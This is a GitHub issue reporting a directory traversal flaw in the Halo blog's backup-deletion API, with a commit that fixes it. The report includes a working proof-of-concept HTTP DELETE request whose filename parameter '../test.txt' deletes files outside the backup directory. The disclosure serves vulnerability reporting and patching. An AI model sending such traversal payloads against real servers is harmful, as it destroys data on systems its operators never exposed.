Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
I am sure I have checked
I want to apply
There is a backup function in the background. When we delete our backup files, we can delete any files on the system through directory traversal.
DELETE /api/admin/backups/halo?filename=../test.txt HTTP/1.1 Host: xxx:8090 Admin-Authorization: 19cfedbb4994443c8b3f7eebf9ef36b3 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Origin: http://xxxx:8090 Referer: http://xx/admin/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
My backup file directory is at /tmp/halo-backup/. The above message can delete the test.txt file in the /tmp directory
/tmp/halo-backup/
/tmp
The text was updated successfully, but these errors were encountered:
Fix vulnerability while deleting backup file
2056f52
fix: moving menu team causes submenus to be lost (halo-dev#422)
dc1866d
* fix: moving menu team causes submenus to be lost Signed-off-by: Ryan Wang <i@ryanc.cc> * fix: moving menu team causes submenus to be lost Signed-off-by: Ryan Wang <i@ryanc.cc>
JohnNiang
No branches or pull requests
I am sure I have checked
I want to apply
There is a backup function in the background. When we delete our backup files, we can delete any files on the system through directory traversal.
My backup file directory is at
/tmp/halo-backup/. The above message can delete the test.txt file in the/tmpdirectoryThe text was updated successfully, but these errors were encountered: